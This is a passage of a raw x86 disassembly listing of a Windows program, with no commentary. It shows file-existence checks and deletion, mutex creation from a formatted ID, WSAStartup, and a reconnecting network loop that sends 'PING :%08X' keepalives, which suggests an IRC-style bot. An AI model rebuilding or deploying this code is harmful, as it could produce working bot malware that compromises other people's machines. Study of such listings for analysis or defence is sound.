ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push 3ABh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41667B jmp locret_41670F ; --------------------------------------------------------------------------- loc_41667B: ; CODE XREF: sub_41665C+18j cmp [ebp+arg_4], 0 jz short loc_41668F push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax jmp short loc_416696 ; --------------------------------------------------------------------------- loc_41668F: ; CODE XREF: sub_41665C+23j mov [ebp+var_8], 3 loc_416696: ; CODE XREF: sub_41665C+31j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+4], ecx cmp [ebp+arg_8], 0 jz short loc_4166AD mov eax, [ebp+arg_8] mov [ebp+var_C], eax jmp short loc_4166B4 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41665C+47j mov [ebp+var_C], offset byte_41DE30 loc_4166B4: ; CODE XREF: sub_41665C+4Fj push 200h push [ebp+var_C] mov eax, [ebp+var_4] add eax, 8 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 208h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+4] push offset dword_41DA10 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_415F69 call sub_4095A4 add esp, 14h locret_41670F: ; CODE XREF: sub_41665C+1Aj leave retn sub_41665C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416711 proc near ; CODE XREF: sub_4167B9+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41673B push [ebp+var_4] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_41673D ; --------------------------------------------------------------------------- loc_41673B: ; CODE XREF: sub_416711+1Aj xor eax, eax locret_41673D: ; CODE XREF: sub_416711+28j leave retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41679C push 2 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B76 ; ftell pop ecx mov [ebp+var_8], eax push 0 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_8] inc eax neg eax sbb eax, eax and eax, [ebp+var_8] jmp short locret_41679E ; --------------------------------------------------------------------------- loc_41679C: ; CODE XREF: sub_41673F+1Bj xor eax, eax locret_41679E: ; CODE XREF: sub_41673F+5Bj leave retn sub_41673F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170AC ; DeleteFileA test eax, eax jz short loc_4167B5 push 1 pop eax jmp short loc_4167B7 ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_4167A0+Ej xor eax, eax loc_4167B7: ; CODE XREF: sub_4167A0+13j pop ebp retn sub_4167A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416711 pop ecx test eax, eax jz short loc_4167D9 push [ebp+arg_0] call sub_4167A0 pop ecx neg eax sbb eax, eax inc eax jmp short loc_4167DB ; --------------------------------------------------------------------------- loc_4167D9: ; CODE XREF: sub_4167B9+Ej xor eax, eax loc_4167DB: ; CODE XREF: sub_4167B9+1Ej pop ebp retn sub_4167B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_4], eax leave retn sub_4167DD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417298 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_416BC0 push ebx push esi push edi mov [ebp-18h], esp push 2 call dword_4170F4 ; SetErrorMode and dword ptr [ebp-4], 0 push dword_41DA54 push dword_41DA50 push 3B6h push dword_41DA4C push 0 push dword_41DA48 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp-115Ch] push eax call sub_416B5E ; sprintf add esp, 20h and dword ptr [ebp-1128h], 0 jmp short loc_416875 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: .data:loc_4168BAj mov eax, [ebp-1128h] inc eax mov [ebp-1128h], eax loc_416875: ; CODE XREF: .data:00416866j cmp dword ptr [ebp-1128h], 0Ah jnz short loc_416883 call sub_407148 loc_416883: ; CODE XREF: .data:0041687Cj push 3E8h call dword_41709C ; Sleep lea eax, [ebp-115Ch] push eax push 0 push 0 call dword_4170F8 ; CreateMutexA mov [ebp-12F0h], eax cmp dword ptr [ebp-12F0h], 0 jz short loc_4168BA call dword_417064 ; RtlGetLastWin32Error test eax, eax jnz short loc_4168BA jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168BA: ; CODE XREF: .data:004168ACj ; .data:004168B6j jmp short loc_416868 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: .data:004168B8j call sub_403BD3 call sub_405FA3 call sub_40938F call sub_412FC6 call sub_4102AE call sub_40E979 push 10h push offset dword_41DA48 call sub_41055F pop ecx pop ecx push 10h push offset dword_41DA48 call sub_40ECEB pop ecx pop ecx push 10h push offset dword_41DA48 call sub_40ED6E pop ecx pop ecx call sub_410422 mov dword_41EC30, eax call sub_410422 mov dword_41EC34, eax call sub_410422 mov dword_41EC38, eax call sub_410422 mov dword_41EC3C, eax push 104h lea eax, [ebp-1120h] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jnz short loc_416961 push offset byte_41DE30 push offset dword_41EB2C call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_4169E1 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: .data:00416949j lea eax, [ebp-1120h] push eax call sub_416B40 ; strlen pop ecx mov [ebp-12F4h], eax jmp short loc_416983 ; --------------------------------------------------------------------------- loc_416976: ; CODE XREF: .data:loc_4169DFj mov eax, [ebp-12F4h] dec eax mov [ebp-12F4h], eax loc_416983: ; CODE XREF: .data:00416974j cmp dword ptr [ebp-12F4h], 0 jnz short loc_41699F push offset byte_41DE30 push offset dword_41EB2C call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_41699F: ; CODE XREF: .data:0041698Aj mov eax, [ebp-12F4h] movsx eax, byte ptr [ebp+eax-1121h] cmp eax, 5Ch jnz short loc_4169DF mov eax, [ebp-12F4h] lea eax, [ebp+eax-1120h] push eax push offset dword_41EB2C call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EB2C push offset dword_41EC40 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: .data:004169B0j jmp short loc_416976 ; --------------------------------------------------------------------------- loc_4169E1: ; CODE XREF: .data:0041695Cj ; .data:0041699Dj ... call sub_406E8E lea eax, [ebp-12ECh] push eax push 202h call dword_417264 ; WSAStartup loc_4169F8: ; CODE XREF: .data:00416A43j ; .data:00416AA7j push 0 push 0 push 0 call sub_40D366 add esp, 0Ch call sub_409226 and dword ptr [ebp-1124h], 0 and dword ptr [ebp-101Ch], 0 loc_416A19: ; CODE XREF: .data:00416AE2j mov dword ptr [ebp-4], 1 loc_416A20: ; CODE XREF: .data:loc_416A6Fj ; .data:00416AC0j push 0EA60h call sub_40CF25 push eax call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_416A71 cmp dword ptr [ebp-101Ch], 19h jnz short loc_416A45 and dword ptr [ebp-4], 0 jmp short loc_4169F8 ; --------------------------------------------------------------------------- loc_416A45: ; CODE XREF: .data:00416A3Dj cmp dword ptr [ebp-101Ch], 14h jnz short loc_416A62 call sub_410422 push eax push offset aPing08x ; "PING :%08X" call sub_40D6CB pop ecx pop ecx jmp short loc_416A6F ; --------------------------------------------------------------------------- loc_416A62: ; CODE XREF: .data:00416A4Cj mov eax, [ebp-101Ch] inc eax mov [ebp-101Ch], eax loc_416A6F: ; CODE XREF: .data:00416A60j jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: .data:00416A34j push 1000h lea eax, [ebp-1018h] push eax call sub_40CF25 push eax call sub_4053DC add esp, 0Ch mov [ebp-1124h], eax cmp dword ptr [ebp-1124h], 0 jz short loc_416AA3 cmp dword ptr [ebp-1124h], 0FFFFFFFFh jnz short loc_416AAC loc_416AA3: ; CODE XREF: .data:00416A98j and dword ptr [ebp-4], 0 jmp loc_4169F8 ; --------------------------------------------------------------------------- loc_416AAC: ; CODE XREF: .data:00416AA1j and dword ptr [ebp-101Ch], 0 lea eax, [ebp-1018h] push eax call sub_40E943 pop ecx jmp loc_416A20 ; --------------------------------------------------------------------------- loc_416AC5: ; DATA XREF: .data:004172A8o push offset aLoop ; "loop" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_416ADB: ; DATA XREF: .data:004172ACo mov esp, [ebp-18h] and dword ptr [ebp-4], 0 jmp loc_416A19 ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh cmp dword_41DE38, 0 jz short loc_416B1E push offset dword_41DD54 push offset dword_41DAB4 call sub_40D4AB pop ecx pop ecx loc_416B1E: ; CODE XREF: .data:00416B0Bj call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B3A proc near ; CODE XREF: sub_401000+3Cp ; sub_4020C2+62p ... jmp dword_41712C sub_416B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B40 proc near ; CODE XREF: sub_401146+7Ap ; sub_4017AA+Ep ... jmp dword_4171BC sub_416B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B46 proc near ; CODE XREF: sub_401244+85p ; sub_4017AA+22p ... jmp dword_4171B8 sub_416B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B4C proc near ; CODE XREF: sub_401244+25p ; sub_401244+4DEp ... jmp dword_4171B4 sub_416B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B52 proc near ; CODE XREF: sub_401244+1Ap ; sub_401981+18p ... jmp dword_4171B0 sub_416B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap ; sub_4024F3+88p ... jmp dword_4171AC sub_416B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp ; sub_4055E5+231p ... jmp dword_4171A8 sub_416B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp ; sub_4018AF+5Dp ... jmp dword_4171A4 sub_416B64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B6A proc near ; CODE XREF: sub_401981+145p ; sub_401981+158p ... jmp dword_4171A0 sub_416B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p ; sub_403260+4Cp ... jmp dword_41719C sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B76 proc near ; CODE XREF: sub_401E38+1ABp ; sub_4020C2+1A6p ... jmp dword_417198 sub_416B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B7C proc near ; CODE XREF: sub_401E38+179p ; sub_402698+24Cp ... jmp dword_417194 sub_416B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B82 proc near ; CODE XREF: sub_401E38+9Dp ; sub_401E38+262p ... jmp dword_417190 sub_416B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B88 proc near ; CODE XREF: sub_401E38+42p ; sub_4020C2+159p ... jmp dword_41718C sub_416B88 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B90 proc near ; CODE XREF: sub_4020C2+2C1p ; sub_41102F+94p ... jmp dword_417188 sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B96 proc near ; CODE XREF: sub_4020C2+198p ; sub_4020C2+1BCp ... jmp dword_417184 sub_416B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B9C proc near ; CODE XREF: sub_4024F3+26p ; sub_4024F3+46p ... jmp dword_417180 sub_416B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA2 proc near ; CODE XREF: sub_402698+160p ; sub_40CA29+F6p ... jmp dword_41717C sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA8 proc near ; CODE XREF: sub_402698+CCp ; sub_402698+110p ... jmp dword_417178 sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BAE proc near ; CODE XREF: sub_402698+4Bp ; sub_4083AD+3DFp ... jmp dword_417174 sub_416BAE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416BC0 proc near ; CODE XREF: sub_403DF3+8p ; sub_40546E+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_416BE0 loc_416BCC: ; CODE XREF: sub_416BC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BCC loc_416BE0: ; CODE XREF: sub_416BC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp ; sub_4041B7+28p ... jmp dword_417170 sub_416BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF6 proc near ; CODE XREF: sub_406041+67p jmp dword_41716C sub_416BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p ; .data:00416B26p jmp dword_417168 sub_416BFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C10 proc near ; CODE XREF: sub_40821B+61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_416C31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_416C81 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416C10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_416C3F: ; CODE XREF: sub_416C10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416C3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_416C6A cmp edx, [esp+4+arg_4] ja short loc_416C6A jb short loc_416C72 cmp eax, [esp+4+arg_0] jbe short loc_416C72 loc_416C6A: ; CODE XREF: sub_416C10+4Aj ; sub_416C10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_416C72: ; CODE XREF: sub_416C10+52j ; sub_416C10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_416C81: ; CODE XREF: sub_416C10+1Fj pop ebx retn 10h sub_416C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C90 proc near ; CODE XREF: sub_40821B+30p ; sub_40821B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_416CB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_416CF3 ; --------------------------------------------------------------------------- loc_416CB2: ; CODE XREF: sub_416C90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_416CC0: ; CODE XREF: sub_416C90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416CC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_416CEE cmp edx, [esp+8+arg_4] ja short loc_416CEE jb short loc_416CEF cmp eax, [esp+8+arg_0] jbe short loc_416CEF loc_416CEE: ; CODE XREF: sub_416C90+4Ej ; sub_416C90+54j dec esi loc_416CEF: ; CODE XREF: sub_416C90+56j ; sub_416C90+5Cj xor edx, edx mov eax, esi loc_416CF3: ; CODE XREF: sub_416C90+20j pop esi pop ebx retn 10h sub_416C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp ; sub_409226+5Cp ... jmp dword_417164 sub_416CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CFE proc near ; CODE XREF: sub_409226+55p ; sub_4092A4+55p ... jmp dword_417160 sub_416CFE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_409226+42p ; sub_4092A4+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_416D31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_416D31: ; CODE XREF: sub_416D10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_416D4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_416D4D: ; CODE XREF: sub_416D10+27j or eax, eax jnz short loc_416D69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_416DAA ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416D10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_416D77: ; CODE XREF: sub_416D10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_416D77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_416DA5 cmp edx, [esp+0Ch+arg_4] ja short loc_416DA5 jb short loc_416DA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_416DA6 loc_416DA5: ; CODE XREF: sub_416D10+85j ; sub_416D10+8Bj dec esi loc_416DA6: ; CODE XREF: sub_416D10+8Dj ; sub_416D10+93j xor edx, edx mov eax, esi loc_416DAA: ; CODE XREF: sub_416D10+57j dec edi jnz short loc_416DB4 neg edx neg eax sbb edx, 0 loc_416DB4: ; CODE XREF: sub_416D10+9Bj pop ebx pop esi pop edi retn 10h sub_416D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DBA proc near ; DATA XREF: sub_4093B6+Ao ; sub_4094E6+Ao ... jmp dword_41715C sub_416DBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC0 proc near ; CODE XREF: sub_409479+41p ; sub_4095A4+162p jmp dword_417158 sub_416DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp jmp dword_417154 sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DCC proc near ; CODE XREF: sub_409CB1+105p ; sub_409CB1+114p ... jmp dword_417150 sub_416DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p ; sub_409CB1+88p jmp dword_41714C sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap ; sub_409DD0+13Bp jmp dword_417148 sub_416DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep ; sub_40A9CF+1F6p ... jmp dword_417144 sub_416DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p jmp dword_417140 sub_416DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp jmp dword_41713C sub_416DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF0 proc near ; CODE XREF: sub_40D420+47p ; sub_40D4AB+50p ... jmp dword_417138 sub_416DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp ; sub_40EF59+C1p jmp dword_417134 sub_416DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DFC proc near ; CODE XREF: sub_40F040+52p ; sub_40F040+A8p jmp dword_417130 sub_416DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep jmp dword_417128 sub_416E02 endp ; --------------------------------------------------------------------------- loc_416E08: ; CODE XREF: .data:00416FE2j jmp dword_417124 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_414EF4+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416E10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep ; sub_4048EF+2CFp ... jmp dword_4171F8 sub_416E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E40 proc near ; CODE XREF: sub_414EF4+EAp ; sub_414EF4+1E2p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_416EAF retn 4 sub_416E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E4E proc near ; CODE XREF: sub_414EF4+134p ; sub_414EF4+2D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_416EA0 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_41DDD0 push eax call dword ptr [ecx] test eax, eax jl short loc_416EA0 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_416EA0 lea eax, [ebp+var_4] push eax push 0 call dword_4171C8 test eax, eax jz short loc_416EA0 and [ebp+var_4], 0 loc_416EA0: ; CODE XREF: sub_416E4E+Dj ; sub_416E4E+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_416EAF leave retn 0Ch sub_416E4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EAF proc near ; CODE XREF: sub_416E40+6p ; sub_416E4E+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_416ED3 lea eax, [ebp+var_10] push offset dword_4173B8 push eax call sub_416FA2 ; _CxxThrowException sub_416EAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4172B4 test eax, eax mov [esi+8], eax jz short loc_416EFF cmp [esp+4+arg_8], 0 jz short loc_416EFF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416EFF: ; CODE XREF: sub_416ED3+1Dj ; sub_416ED3+24j mov eax, esi pop esi retn 0Ch sub_416ED3 endp ; =============== S U B R O U T I N E ======================================= sub_416F05 proc near ; DATA XREF: .data:off_4172B4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416F4E test [esp+4+arg_0], 1 jz short loc_416F1B push esi call sub_416DCC pop ecx loc_416F1B: ; CODE XREF: sub_416F05+Dj mov eax, esi pop esi retn 4 sub_416F05 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4172B4 jz short loc_416F48 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416F48: ; CODE XREF: .data:00416F40j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_416F4E proc near ; CODE XREF: sub_416F05+3p ; DATA XREF: .data:004173BCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4172B4 test eax, eax jz short loc_416F64 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416F64: ; CODE XREF: sub_416F4E+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_416F72 push esi call dword_4170B0 ; LocalFree loc_416F72: ; CODE XREF: sub_416F4E+1Bj pop esi retn sub_416F4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F74 proc near ; CODE XREF: sub_401244+120p ; sub_406E8E+DAp ... jmp dword_4171C0 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F7A proc near ; CODE XREF: sub_4020C2+113p ; sub_4038BA+22Fp ... jmp dword_417114 sub_416F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F80 proc near ; CODE XREF: sub_402A32+CCp ; sub_402A32+2B9p ... jmp dword_417118 sub_416F80 endp ; =============== S U B R O U T I N E ======================================= sub_416F86 proc near ; DATA XREF: .data:off_4172BCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416FA8 test [esp+4+arg_0], 1 jz short loc_416F9C push esi call sub_416DCC pop ecx loc_416F9C: ; CODE XREF: sub_416F86+Dj mov eax, esi pop esi retn 4 sub_416F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp jmp dword_41711C sub_416FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA8 proc near ; CODE XREF: sub_416F86+3p jmp dword_417120 sub_416FA8 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A00h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FBC: ; DATA XREF: .data:0041737Co lea ecx, [ebp-10h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0DF8h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0E14h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FDD: ; DATA XREF: sub_414EF4o mov eax, offset dword_417350 jmp loc_416E08 ; --------------------------------------------------------------------------- align 4 dd 6 dup(0) 